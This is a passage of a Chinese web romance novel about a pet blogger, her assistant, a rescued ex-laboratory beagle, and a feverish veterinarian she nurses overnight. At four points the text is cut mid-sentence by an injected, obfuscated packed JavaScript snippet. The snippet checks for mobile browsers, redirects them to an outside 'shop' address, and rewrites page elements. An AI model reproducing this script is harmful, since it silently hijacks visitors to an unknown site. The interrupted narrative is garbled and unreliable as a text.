这容易脸红耳朵红的毛病真得改改了,不然还不知道以后要丢多少人。 十几分钟后,徐安从菜市场出来了。 徐安两只手都提着塑料袋,大大小小五六个,像个挂满装饰品的圣诞树。李朝穗赶紧下车,跑过去帮她接了两袋。 “你买了多少?” “不多不多,”徐安喘了口气,“就够今晚和明天早上的。” 李朝穗低头看了一眼手里的袋子,她忽然有点后悔,应该在徐安进去之前嘱咐一句别买太多的。 “学姐,今晚的菜单我都想好了。”徐安一边走一边掰着手指头,“红烧排骨、水煮肉片、蒜蓉西兰花,再做个紫菜汤,够不够?” “够了够了,太多了。”李朝穗连忙说。 两个人把菜放进后座,上了车。 徐安还在念叨,李朝穗发动车子,挂上倒挡,从后视镜里看了一眼,“下次再买菜,可以带一个布袋,环保一些。” 徐安愣了一下,然后拍了拍脑袋:“对哦,我怎么没想到,回去我就买!” 李朝穗笑了一下,踩下油门,往家的方向驶去。 到了家,徐安拎着菜进了厨房,李朝穗跟在她后面,把菜放在料理台上。 厨房不大,但设备齐全。灶台擦得发亮,调料瓶整整齐齐摆在架子上,洗碗机、烤箱就在下方的橱柜里。 用餐区域在外面,和客厅之间隔着一道半高的矮墙,矮墙上铺了一块榆木板,可以放东西。餐桌是实木的,长条形,配了四把椅子,桌上铺着浅灰色的桌布,中间放着一盆多肉。 两人合作,厨房里很快热闹起来。 徐安一边切肉一边说:“学姐,我跟你说,我大一的时候就知道你了。” “那时候学校公众号推了一期优秀毕业生,”徐安把排骨放进碗里,加上腌料,“你的照片放在第一个。我当时就想,这个学姐好好看。” “是嘛。” “后来我搜到你的账号,看了你所有的视频。”徐安语气欢快,她觉得自己真的很幸运,能和自己喜欢的学姐一起工作,还能近距离接触。 李朝穗能感受到她对自己的喜欢,除开网络上的粉丝,这么直接的夸奖,好像只有她一个。 “学姐你在学校好像都没怎么参加过课外活动?” “嗯。”李朝穗把沥水篮放在一边,“不太喜欢人多的地方。” “那你怎么想到做博主的?博主也要跟人打交道呀。” 李朝穗想了想,说:“对着镜头不算。镜头不会回话。” 徐安没想到是这么个理由,“学姐你也太可爱了吧。”话落,她有些落寞地说了句:“那学姐应该不记得我了。”声音很小,以至于旁边的李朝穗都没听到。 两人有来有回的聊,菜不知不觉中就备好了。正式掌勺的环节,徐安把李朝穗推出了厨房。 “学姐你出去等着就行,我一个人搞得定。” 李朝穗被推到客厅,坐在沙发上,岁岁跳上来趴在她腿上。 厨房的推拉门关上了,透过磨砂玻璃能看见徐安的影子在灶台前忙活,锅铲翻动的声音很密,油烟机嗡嗡地响。 她掏出手机,看到赵茜茜发来的几条消息。 “朝穗,你怎么突然发了一条和之前完全不同的视频啊?” “脚本是你事先写好的吗?这事你都没跟我商量过。” 这话说得,账号本就是她一个人独有的,怎么说的好像是和她一起共有的一样。 “这两天突然发生的事,没有脚本。我想着应该是个不错的素材,就录下来剪辑成新一期内容了。”心里虽这么揣度着,她还是解释了一句,万一是自己太过敏感,岂不是错怪了她。 厨房里飘出一股浓油赤酱的香气,混着肉香和蒜香,把整个客厅都灌满了。岁岁从她腿上跳下去,跑到厨房门口蹲着,鼻子一抽一抽的。 赵茜茜:“换新题材,之前的风格怎么办?你一个人在云栖,有精力两个都做吗?” “我新招了个实习助理,徐安,是我们的学妹。待会我拉个群,你们认识一下。” “她现在跟我在云栖,主要负责新账号的运营和内容创作。” 对面沉默,李朝穗看着对话框上方反复出现的“对方正在输入”,等了好一阵,消息才发过来。 “怎么突然招助理了?你现在拍摄任务很重吗?” 李朝穗正要回复,电话直接打过来了。赵茜茜的声音从听筒里传出来,语速比平时快,带着一点的质问意味。 “朝穗,你之前都没跟我说过这事。” “临时决定的。”李朝穗靠在沙发上,脸上的表情有些冰冷,“基地那边需要一个人专门做内容,我一个人忙不过来。” “基地?什么基地?” “流浪动物救助基地。我准备给他们起一个专门的账号,叫‘安心庇护’。以后那个号的内容由徐安负责。” 电话那头安静了几秒。李朝穗听见赵茜茜吸了一口气,又吐出来。 “你做这些,”赵茜茜的声音放低了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她把满是口水的球扔出去,嫌弃地擦了擦手,回复道:“嗯,想跟你聊聊基地账号的事。我今天去找过吴院长,说了之后会在医院拍摄的事,他同意了。另外我想问问,在医院拍摄有什么需要注意的吗?” 许琮:“都可以拍。手术室不行,其他地方没问题。” 她想起下午遇到的小女孩,问:“今天医院那只比格犬,情况怎么样了?” “腿骨骨折,已经做了固定。” “它应该是条实验犬,耳朵上有编号,腹腔有一条长疤痕,以前被开腹过。” 李朝穗看着这条信息,忽然觉得自己有些读不懂字。 什么叫实验犬?腹腔被开刀……是说一个活生生的躯体被开腔做实验吗? 她有些不解,切出聊天界面上网搜索了实验犬,得到的答案让她心头一颤。 实验犬,就是专门为科学实验而饲养,用于科研、教学药品与化学品测试的犬只,人类生活中用的大部分药品、化妆品等都经过这样的实验。 其中,比格犬是最常见的品种。 14. 刽子手 第十四章刽子手 “许医生,为什么实验犬大多都是比格啊。” 李朝穗印象中的比格,是大众对它“混世魔王”“大耳朵怪叫驴”的评价,别名米格鲁猎兔犬,精力充沛,捣蛋能力十足。 这样的小狗,怎么会成为实验犬呢? 两分钟后,许琮发来一条语音,李朝穗轻轻点开,他沙哑的声音从听筒里传出来,说的很慢,像是一边想一边说。 “比格犬性格温顺,不主动攻击人。体型适中,容易驯养,生理指标跟人比较接近,药物实验的数据更有参考价值。”他顿了一下,“最重要的是,它们不会叫。实验室需要安静的动物,比格犬符合这个要求。” 不会叫。 李朝穗盯着这三个字,心里忽然紧了一下。 许琮又发了一条语音,“我今天检查那只比格的时候,发现它耳朵上有一个编号,肚子上有缝合的刀疤。基本能确定是从实验室出来的。” “它不会咬人,不会躲。你伸手过去它就舔你。关雨景给它清创的时候,疼得浑身发抖,嘴都张开了,又闭上了。” 李朝穗眼神虚焦,眼前只剩下发亮的屏幕,胸口忽而变得沉闷,她无法想象这是一个什么样的场景。 许琮的语音依旧不断弹出。 “你之前问我为什么学动物医学,说实话,我有后悔过。” “我大四那年找不到实习,投了几十份简历,没有回音。我爸逼我进了一家医药公司,他找关系给我塞进去的。” “那家公司做药物临床前研究。我的工作是给实验动物做术前准备和术后护理,给药、采血、解剖取样,什么都干过。” “兔子、老鼠、比格犬,都在我的手下经历一次又一次的折磨。” “我在那干了八个月,造成数不清的死亡,那时候我感觉自己就像个‘刽子手’。” 李朝穗静静听着他讲述自己的过去,蓝黑色的天幕早已降下,属于夜晚的寒冷渐渐侵入身体。她起身朝亮着灯的屋内走去,岁岁也随之跟上。 灯光照着即将熄灭的屏幕,李朝穗眼疾手快的点了一下,才没让它彻底暗下。许琮的语音她来来回回听了几遍,可始终想不出该怎么回复。手指在键盘上犹豫不决,打了又删。 最后发了一句:“你现在已经在救它们了。” 对面隔了很久才回,只有一个字。 “嗯。 许琮那时候应该很崩溃吧,因为崩溃过,所以现在才能假装随意的提起这件事。一个如此热爱动物的人,却要亲手伤害它们,李朝穗想着,心头泛起阵阵酸楚。 时间已经不早,她回到房间,洗漱上床。窗外的路灯亮着,橘黄色的光透过窗帘的缝隙,在天花板上画出一条细细的线,不断晃动。 虽然刷着短视频,可她心里仍然记挂着刚才的事。 “我可以去医院看看那只比格吗?” 许琮回复的很快,“可以,不过要过两天,它需要时间稳定一下。” 空闲的这几天,李朝穗带着徐安在云栖市到处转。云栖像浸在水光里的温柔乡,小桥、流水、高大的树,每走一步都是景。 她们也不是光玩,还带着设备去拍摄李朝穗事先计划好的路线、店铺。徐安第一次感受到带宠出行的困难,要不就是被店家拒绝,要不就是设备被岁岁差点绊倒,好在经历千帆磨难后,工作顺利完成。 约定的日子到了,李朝穗和徐安早早出门。 阳光从窗户照进来,把走廊切成明暗两半。她们到住院区的时候,比格犬的笼子前蹲着一个白大褂的身影。 关雨景正蹲在那里往笼子里垫软布,听见脚步声抬起头。 “来了?”他站起来,拍了拍膝盖,“正好,我把情况给你们说说。” 他领着两人走到笼子前面,“昨天那个小女孩跑进来的时候,我还以为是一般的热心市民来送救助。她抱着这只狗,跟我说‘医生,你可以帮我检查一下它身上有没有虫吗?我妈妈说流浪狗身上有虫,不让我养它。’” 徐安握着云台稳定器,往后退了一步,把关雨景和李朝穗一起拍入画。 关雨景注意到徐安的动作,扯了扯衣领,“我给它检查了,身上除了跳蚤,没有其他问题。” 他蹲下来,把比格从笼子里抱出来放在地上,手指着它的腹部说:“就是吧,它以前应该是实验犬。” “肚子上你们也能看到一条长长的疤,我们做了B超检查,它的脾脏已经被摘除了。” 比格犬被他托着腹部放在地面上。四只爪子像钉子一样钉在地砖上,站立的姿势带着明显的僵硬。两个葡萄似的黑眼睛望着面前的几个人,就这么定定的站在那。 李朝穗蹲下来,歪头看。它肚皮上确实有一道淡粉色的长疤,从肋弓下面一直延伸到腹腔靠近尾巴根的位置。缝得很整齐,线脚匀称。 “实验犬做开腹探查很常见,”关雨景一下一下摸着它的背,试图缓解它的紧张,“有时候在腹腔里建立疾病模型,有时候做特定脏器的切除,比如脾脏、部分肝脏。肚子上没有长毛、留了疤的地方,基本就是手术切口的缝合位置。” 李朝穗用手指拨开它的大耳朵,内侧的白色皮肤上印着几个灰色的数字,正对着摄像头展现出来。 “这是什么?”徐安奇怪地问,李朝穗只告诉她比格是实验犬,其他的细节可一点没说。她站在摄像头后面,随着镜头看到肚皮上的疤、耳朵上的数字时,是止不住的震惊。 关雨景淡淡地解释道:“编号。实验室里的编号。” 一直没有说话的李朝穗这时候开口了。“实验犬不是不能随便遗弃吗?它怎么会出现在外面?” 关雨景叹了口气。“这应该是已经被人领养过一次的。动物在实验结束之后会开放给公众领养。领养出去之后,有些人没有好好养,走失了或者被人为弃养了,就变成现在这样。” 徐安的眼泪掉下来了。她没出声,用袖子擦了一下,鼻尖红红的。 “那它做过什么实验?”她问。 “脾脏摘除术后留下的疤。药物代谢相关的研究或者建立某种免疫模型。”关雨景把病历本合上,“B超检查下来腹腔里其他脏器没有异常。除了缺了个脾脏,它是个健康的孩子。” 李朝穗蹲着看了一会儿那只比格犬。它把头转过来,看了她一眼,又转回去了。那一瞬间她注意到它的眼睛,黑色的瞳孔很深,但不是那种有光的深,是那种什么都装不下的深。 她站起来,走到走廊另一头,又给许琮发了一条消息。 还是没有回复。 她盯着手机屏幕看了十几秒,锁屏,走回去把关雨景拉到旁边。 “他家的地址,你知道吧?发我一份。” 关雨景看了她一眼,嘴角动了一下,没有多问,从手机里翻出一串地址递了过去。 李朝穗看了一眼,转头去找徐安。小丫头正蹲在笼子前面拍比格犬的特写。 “安安,”她叫了一声,“我得出去一趟,车给你,你认得回去的路吧?” 徐安抬起头,把车钥匙接过去,点了点头。“学姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495838|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你去吧,我拍完自己打车回去就行。” “车给你,别打车了。”李朝穗把钥匙塞进她手里,“你会开车吗?” “会的会的,我有驾照。”徐安把钥匙攥在手心,“学姐你快去吧。” 李朝穗拎起包,快步走出医院大门,在路边拦了一辆出租车。她报了地址,靠在后座上,手指一直攥着手机。对话框里她发出去的两条消息孤零零地躺在那里。 车窗外的街景一帧一帧往后退。梧桐树的枝丫光秃秃的,灰白色的天空被划出细细的裂纹。 二十分钟后,出租车停在一个小区门口。李朝穗下了车,在门口的药店买了一袋退烧药和一袋医用冰袋。她攥着塑料袋走进小区,上了电梯。 十一楼。她找到那扇门,按响门铃。 门铃响了三声。没有动静。 她又按了一次。这一次她听见门里面有声音,很慢的脚步声,像每一步都踩不踏实。锁舌弹开,门被从里面推开了一条缝。 许琮站在门后面。头发乱糟糟地支棱着,嘴唇干裂起了一层白皮。他的眼睛半睁着,瞳孔没有焦距,过了好几秒才慢慢聚拢到她脸上。 “你怎么来了?”声音从喉咙深处挤出来,沙哑干涩。 李朝穗没回答,推了一下门,从他身侧挤了进去。 玄关的灯没开。客厅窗帘拉了一半,灰白色的天光从另一半窗户洒进来。沙发上摊着一床薄被,茶几上放着一只没洗的马克杯,旁边散着两板已经被抠空了的感冒药。暖气开得很足,空气闷得发慌。 她转过身,看着跟在她后面慢慢走过来的许琮。他走路的时候身体微微往前倾,每一步都不太稳。 “躺回去。”她说。 许琮看了她一眼,没说什么,歪进沙发里,把被子拉到胸口。刚躺下就偏过头咳嗽了两声,声音闷闷的。 李朝穗伸出手,贴在他额头上。手指触到皮肤的那一瞬间,她皱了一下眉。那种温度滚烫的、干燥的,从皮肤底下蒸上来。 “量过体温吗?” “早上量过。三十八度五。” 李朝穗没信他的话,在茶几上找到了电子体温计,按了开关,把探测头伸进他耳朵里。机器发出滴的一声。 显示屏上跳出一个数字。三十九度七。 她把屏幕翻过来给他看。许琮眯着眼睛瞄了一眼,没说话。 李朝穗从塑料袋里翻出退热贴,撕开包装。她的手指有点抖,贴了好几次才平整地覆在他额头上。她又撕了一片,贴在他的颈侧。 许琮一直睁着眼睛看她做这些。他的眼睛因为发烧显得比平时亮,眼尾带着一层薄红。李朝穗低下头,两个人对上了视线。她先移开了眼睛。 “药呢?” 许琮伸手指了一下茶几。李朝穗从抽屉里翻出药盒,挤出两粒胶囊,又去厨房倒了一杯温水。她把药递到他面前,许琮撑着身体坐起来,手指接过胶囊的时候指腹擦过她的掌心。 他把药咽了,喝了半杯水,又躺了回去。 李朝穗把被子往上拉了拉,盖住他的肩膀。 许琮闭上眼,意识开始往下沉。半梦半醒之间,他想起了二十分钟前的事。 手机在枕头旁边疯了一样地震。他伸手摸了半天才摸到,屏幕上闪着关雨景的名字。 “喂——” “老许!快醒醒!”关雨景的声音从听筒里炸出来,震得他太阳穴突突跳,“我给你制造了绝佳的机会,你自己好好把握。” 他还没反应过来,电话就挂了。然后他听见门铃响。 15. 发烧 第十五章发烧 半开放式的厨房,色调与屋子一致,能看到的地方都是黑白灰。全套德式嵌入式厨电摆放位置规划得当,配上大理石料理桌,线条利落,质感细腻。 灶台被打理得干干净净,乍一看还以为不常使用厨房,可炉架边角泛着暗沉旧色,明显是使用频率很高导致的。 李朝穗打量完厨房,站在料理前,桌上放着皮蛋和切好的瘦肉,砂锅被放上灶台。她端详了一会儿开关按钮怎么用,然后尝试着开火,可没想到试了几次,火都灭了。 “怎么这么难用。”她小声嘟囔了一句。 客厅里,许琮已经量完了体温,温度线赫然停在39℃上。电话里关雨景的声音还在耳朵里转悠,心里某些见不得人的想法叫嚣着。 他觉得自己确实病的很严重了。 昏暗的屋子此时被灯光照的亮堂堂的,女孩刚刚说要煮粥烧水,嫌太黑了,“啪”一下拍在控制开关上,所有灯都亮了。 女孩的身影在灶台边迟迟没有移动,许琮朝她走过去,拖鞋因为抬脚的高度不够,每走一步都与地面发出“沙沙”的摩擦声。 李朝穗还在与开关斗智斗勇,此时打不起火,岂不是很丢脸。 抬眸间,一只大手从肩后伸过来,手指修长,敷上她的手背,带着她的手指往下压,往左转了一下,稍稍停留了两秒。 蓝色的火苗瞬间蹿起来,稳稳地舔着锅底。 李朝穗猛地回头。 许琮站在她身后,两个人之间只隔着一个拳头的距离。 他低着头,下巴几乎要碰到她的发顶,独属于男人的热气瞬间包裹住她。 她的手还被他握着,手背上一片滚烫灼人的温度,烫得人心尖发颤,连呼吸都微微发紧。 李朝穗迅速把手抽了回来。 “咳。”她清了清嗓子,往旁边退了一步,“你先去坐吧,粥好了我叫你。” 许琮没动,他倚在灶台边的料理台上,扫了一眼食材,视线回落在她慌乱的脸上。 “皮蛋瘦肉粥?” “嗯,看你冰箱有食材,就做了。” 她说完准备绕过他去拿汤勺,刚迈出一步,手腕被人扣住了,她低头看手腕上骨节分明的大手。 “你……” 她抬起头,许琮正凝视着她,眼睛蒙着一层水雾,慵懒又缱绻,平日里冰冷的眉眼此刻软得一塌糊涂,多了几分勾人的意味。 他抓着她的手腕,执拗地往上抬,将她柔软的掌心,紧紧贴在滚烫的额头上。 “你摸摸我,”他说话的时候喉咙里带着滚烫的气音,“我好像烧得更严重了。” 手底下的温度烫得惊人,李朝穗顾不上紧张,把手从他额头上拿开,用手背贴了一下,又换回手心,贴着那块发烫的皮肤反复试探。 “好像是高了一些。”她语气认真,“刚刚的温度计呢,你量出来多少度?” 说完她抽出手,转身就往客厅走。 留下许琮愣在原地,他盯着女孩的背影,摇了摇头,自嘲似的轻笑。 体温计被许琮擦干净放在茶几上,李朝穗用指尖夹起,对着灯光仔细查看。 “三十九度?!” “要不去医院急诊吧,”李朝穗说,“你烧得太严重了。” 许琮暂代了她的职位,拿着瓷勺在砂锅里不断搅拌,“不用,我发烧都是睡一觉就好。” “更何况,还有你煮的粥。” 灶台上的粥咕嘟咕嘟地响着,李朝穗放在体温计,三两步跑过去,把许琮赶回沙发。 “你去沙发上坐着。” 她把准备好的皮蛋、瘦肉下到锅里,把火关小了,瓷勺一下一下搅着,防止粥糊粘底。 还得好一会粥才好,等待的期间,她拿出手机查看收到的消息,是两条银行卡提示,两笔称得上巨款的数字显示在消息卡片里。 她都忘了,今天是父母给钱的日子。 钱进账没多久,母亲的微信消息就弹出来。 周静姝(妈妈):“朝穗啊,你最近都没有和妈妈分享生活。” “你毕业之后去了哪里呀?” “有没有好好照顾自己?” 她指尖顿了顿,安静地回消息,脸上看不出半点笑意。 岁岁安:“在云栖市。” 对面的消息一连串地弹出来。 周静姝(妈妈):“云栖啊,听说那地方寒湿啊,你要好好照顾自己。” “你还记得你表哥周正桓吗?他也在云栖我跟你爸爸商量了一下,想让他跟你见个面。” 李朝穗蹙眉,眼底的烦躁和不解显现出来,“算哪门子表哥,周正桓不是姑父和前妻生的吗,又不是姑姑生的。” 其实就算是姑姑生的,她也不会认。 李朝穗很小的时候父母就离异了,之后又各自组建家庭,她跟着爷爷奶奶生活。逢年过节,除了她和爷爷奶奶,还有个人,周正桓。 姑父和前妻生的儿子,只比她大了两岁。估计是怕欢喜的节日,他的存在让姑姑觉得不高兴,所以姑父美曰其名“让孩子回来陪陪老人”,把周正桓送到这来。 她有些不明白,为什么姑父不把他儿子送到自己父母家,而是送到二婚的妻子父母这。 奶奶心软,见不得这么小的孩子受苦,同意了,领着他进家门,让小朝穗叫他“表哥”。 就这样,每个重要的节日都是李朝穗和他陪着爷爷奶奶过。 她对周正桓没什么好感,从小他就少言寡语,只有在爷爷奶奶面前才会乖巧地说话。 周静姝(妈妈):“确实不算,你两从小一起长大,应该叫青梅竹马。” “正桓去年留学回来,现在是有名的大律师,也在云栖工作。” 看到这的时候,李朝穗已经感觉不适,心中警铃大作,没想到对面继续说。 “你今年也23了,我和你爸爸年纪都大了,就盼着闭眼之前能看到你成家。正桓是个不错的孩子,我和他聊的时候看出来了,他挺喜欢你的。” 李朝穗实在没忍住翻了个白眼,愤愤回复道:“你的钱我待会退给你,人我是不会见的。” “还有,别插手我的人生。” 锅里的粥再次沸腾起来,她往里撒了点盐。好端端的心情被她这几年不见的妈妈惹得心中郁闷,她忽然想给自己身上也撒点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495839|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盐,去去晦气。 五分钟后,她把粥盛好,端到茶几上。粥还烫着,热气不断往上冒。 许琮掀开毯子坐起来,冲她说了句“谢谢。”随后拿起粥,试探性地喝了一口,烫得抿起了嘴唇。 “慢点,小心烫。” 李朝穗又从厨房拿来一杯感冒冲剂和温水,把待会要吃的药放在他面前。 碗里的粥被许琮一口一口地喝完了,她把空碗接过来放在茶几上,又抽了一张纸巾递过去。 许琮一直默默留意她,她垂着眼睑,唇角往下抿着,情绪明显比方才低落许多。 他休息的这段时间,发生什么事了吗? 他想问,却不敢。 饭后十分钟才能服药,许琮靠在沙发上,整个人陷在靠垫里,半阖着眼睛,介于清醒和迷糊之间,时不时看她两眼。 客厅里安静下来。暖气片里的水流声咕嘟咕嘟地响着。 李朝穗没了要做的事,习惯性的尴尬,她掏出手机刷了几条视频,又退出来,反复几次。隐隐约约地感觉到一道目光落在她身上,让她更加的局促。她只好放下手机,回头看向许琮。 “许琮?”她叫了一声。 他抬起眼皮。 “差不多十分钟了,你要不要吃药?” 许琮病色晕着在脸上,眼眶发红,目光灼热,一动不动凝视着她。 “你在担心我。” 李朝穗的睫毛猛地一颤,频频眨眼,慌乱地错开视线。 “礼尚往来嘛。”她说,“许医生你也帮过我,这个没什么的。你一个人住,万一烧晕了都没人知道。”她说着说着声音就小了。 许琮听着,目光依旧停留在她身上,唇角漫开一抹浅淡笑意,分明早已看穿她的感情。 窗外有什么东西在响,雨点打在玻璃上,噼里啪啦的,又急又密。声音越来越大,从疏疏落落变成了一大片,构成了暴雨的前奏。 深灰色的窗帘拉得严严实实的,只有边缘漏出一条缝,完全看不清外面景象。 “外面下雨了?”她起身走到窗前,掀开窗帘的一角。 玻璃上全是水珠,路面上早已被深色的水渍覆盖,行人车辆乱作一团,突如其来的暴雨,打断了城市原本的节奏。 她放下窗帘,转过身,“雨太大了,我没带伞,你能不能……” 许琮已经把药给吃了,他放下玻璃杯,走到李朝穗身旁,一把拉开帘子,滂沱大雨尽数撞进眼底。雨势又急又大,形成了一幕灰白色的水帘,连对面楼都无法看清。 远处的红绿灯路口似乎发生了事故,车辆、电动车、行人被拦住了去路。许琮家地处市中心,车辆人流大,这情况,怕是一时半会解决不了。 “雨太大,伞也没用。” 是啊,风雨一体,小小一把伞可撑不住这么大的风。 再加上她又是打车来的,恶劣天气、市中心,这两点加在一起约等于打不到车。 李朝穗拿出手机查看打车软件,果然,附近一百多号人正在等待车辆,预计打到车需要两个小时。 “留在这吧。” “嗯,我在这等一会,雨停了马上走。” 16. 过夜 第十六章过夜 这一等,就是一个小时。 时间太过漫长,李朝穗来的时候除了手机和包包,什么都没带,正不知道该怎么度过时,许琮把自己的电脑借给她,他则进卧室休息。 女孩坐在乳白色长毛地毯上,茶几上放着电脑,屏幕里是她和徐安的聊天界面。 徐安已经回到家里,见她迟迟不回担心得不得了,也知道目前的天气不适合出行,只能不断叮嘱她。 “学姐,你在许医生家要过夜吗?” 李朝穗无奈的呼出一口气,身体也随之起伏,“不知道,如果雨势变小的话应该可以回去,要还是这样……可能真得麻烦他吧。” 徐安的消息几乎是秒弹出来,“学姐!!!!” “我知道许医生是个好人,但是!你也要保护好自己啊!” 这丫头,想什么呢…… 岁岁安:“好好好,我知道了。” 李朝穗松了力道,慵懒地靠回沙发,少了细碎的键盘声,周遭瞬间归于宁静。 主卧的门并未关实,留着一道窄缝。屋内一片漆黑沉寂,客厅的光亮顺着缝隙溜进去,割开一缕桥梁似的光斑。 她忽然来了心思打量起这间屋子。 全屋以冷色调为主,格局开阔通透,是大气简约的平层户型,装修很有风格,处处透着高级的质感。地段又靠近市中心,她都不敢想房价得多贵。 客厅里唯一的暖色,是电视两旁靠墙立着的透明展示柜。 她缓步走进,微微俯身细看。 左柜中整齐摆着一排排微缩小屋模型,杂货铺、面包店、花店……各种场景从上到下依次排列,每一处细节都精致细腻,足以见拼装时足够耐心用心。 右柜摆放的都是动漫角色景品、手办,蜡笔小新、哆啦A梦、芙丽莲,其余的她就不认识了。 看不出来,许医生还挺有童趣的嘛。 她直起身,往走廊那头走了几步。书房的门开着,借着走廊的光线,能看清屋内全貌。两面墙皆是顶天书架,薄厚不一的书籍满满当当,另一面墙上整齐挂着马术装备,清一色黑红配色,冷冽又张扬。 之前好像是听珊姐说过他有个马场,装备这么齐全,相必技术不错。 李朝穗站在那面墙前面看了好一会儿,想起他之前的经历,想起他在医院工作后疲惫不堪的样子,她忽然想去了解更多的他。 回到客厅,天色完全变黑,雨丝还缠绵不绝地敲着窗,没有半分停歇的意思,交通情况也比刚才更糟了。 她站在窗前,额头抵着玻璃,凉意从眉心渗进来,如果做法有用的话,她现在能立刻跪下来给老天磕三个响头,求求别再下雨了。 不然真得在这过夜了。 “还在下吗?”许琮的低哑的声音从后面传过来,听起来和那晚给她发的语音很像。 那晚的语音?他那时候就已经生病了吗,她都没观察到这一点。 李朝穗回过头,许琮就站在走廊口,睡眼惺忪,身上换了一件皱巴巴的T恤,头发比下午更乱了,嘴唇干裂得微微起皮,可看起来状态比之前好多了。 “越下越大了。”她说。 许琮淡淡望向窗外,视线很快回到她身上,语气平静又认真:“今晚留下来吧。” “家里有空客房,洗漱用品都是新的。” 李朝穗迟疑着开口:“可我没换洗衣物,不然我还是……” “我有新的衣裤,如果你不介意的话。” 说完话,许琮没着急离开客厅,而是走进厨房给自己倒了杯水。他漫不经心地抿着温水,眼神始终看向她,不急不躁,像是在等她的答案。 李朝穗心里乱糟糟的。 理智让她应该现在告辞,守住分寸,心底却又被他牵动,左右为难。 屋外大雨不停,她一时间竟不知该如何回绝。 这真是,人不留客天留客啊。 更何况眼前人还主动留了。 沉默片刻,她轻轻点了头。 许琮放下水杯,“浴室柜子里有一次性的牙刷毛巾,你自己拿。饿的话冰箱里有吃的。”随即快步走进主卧,拿出来两件衣服,一件白色长袖,一件黑色休闲裤。 李朝穗上前接过,道了谢。 许琮也没再多说什么,回了卧室,依旧留着那条缝。 客房离主卧有一段距离,李朝穗抱着衣服走进去,直到坐下前都还有些晕乎乎的。 脑子里的声音开始响了。你怎么就答应了呢。人家说别走了你就说不走了,你倒是推一下啊。你现在待在一个男人的家里,外面下着雨,你换了衣服,你还要在他家过夜。你们算什么关系?医生和病人家属?普通朋友?哪个普通朋友会在对方生病的时候跑到人家家里煮粥,还留下来过夜? 事已至此,但愿今晚能顺利度过吧。 洗漱过后,她躺在陌生而柔软的床上,辗转反侧。晚饭时间她没什么胃口,可现下睡不着,不知道怎么的饥饿感越来越强。 几次拿起手机,看到时间后又放下,反复几次,李朝穗终于下定决心起身。 走廊很暗,感应灯的微光只能照亮脚下的路。她光着脚踩在地板上,往客厅走,经过厨房门口的时候,她停住了。 厨房灶台顶上的一排小灯亮着,一道挺拔的身影站在那。 李朝穗的脚钉在了原地。 是许琮。 他上身赤裸,没有丝毫遮掩,肩背宽阔挺拔,要先利落紧致,肌理匀称流畅,不夸张却极具力量感,在暖光灯下格外立体。 他手里握着玻璃杯,刚喝完水,薄唇还带着湿润透亮的水痕。一滴不听话的水珠顺着下巴往下滑,突出的喉结滚动,水珠也随之落入胸膛。 李朝穗心头一紧,下意识轻声唤道:“许、许医生!” 许琮缓缓转头,眼底还带着未散的睡意。片刻后才反应过来自己上身未着衣物,“不好意思,我以为你已经睡了。” 他顺着少女躲闪的目光低头看了一眼,深色没有半分局促,只是略显无奈。 李朝穗更是窘迫,站在原地一动也不敢动,眼神也忘了挪开。 “没事没事。”她说,声音听起来不像自己的,“我、我就是出来倒杯水。” 许琮把水杯放在桌面上,拿起搭在椅背上的毛巾擦了擦脖子,手臂抬起来的时候,可以看到背阔肌的线条从侧面露出来,肩胛骨的形状在皮肤下面移动。 “我回去穿件衣服。” “不用不用!”李朝穗语速仓促,连自己都觉得格外反常,“你……你随便,这是你家,你不用管我。” 许琮没有动身,视线从她脸上移向客厅,停顿片刻,压低了嗓音:“朝穗,能帮我把沙发上的衣服递给我吗?”他顿了一下,声音放得更低,“腿有点软,走不动了。” 李朝穗微微一怔,应声走到沙发旁,拿起他的衣服,走到厨房递给他。 两人之间不经意相触,她像受惊一般,飞快收回了手。 “谢谢。”他把衣服套上,扯了扯领口,然后伸手按了一下墙上的开关,客厅和厨房瞬间被明亮的灯光填满。 骤然清晰的视野,让李朝穗心跳加快,身上还穿着他的衣服,想到这,脸颊再度发烫,局促地往后退了半步。 男人神色平常,全然没有受刚才插曲的影响。他取出另一只杯子倒好温水,推到她面前,“不是要喝水吗?” 李朝穗拿起,低头抿了一口,水温刚好。 “怎么起来了?” 她垂着眼,不敢看他,“睡不着。” 许琮注视她片刻,轻声问:“是不是饿了?你晚饭都没吃。” 她连忙摆手想推辞,肚子却不合时宜地响了一声,她敢肯定,这声音不止她听到了,但还是硬着头皮掩饰:“还好……不算很饿。” 许琮脸上掠过意思笑意,转身打开冰箱拿出食材,锅里装水,点燃灶火。压根不给她推辞的余地,只吩咐了一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 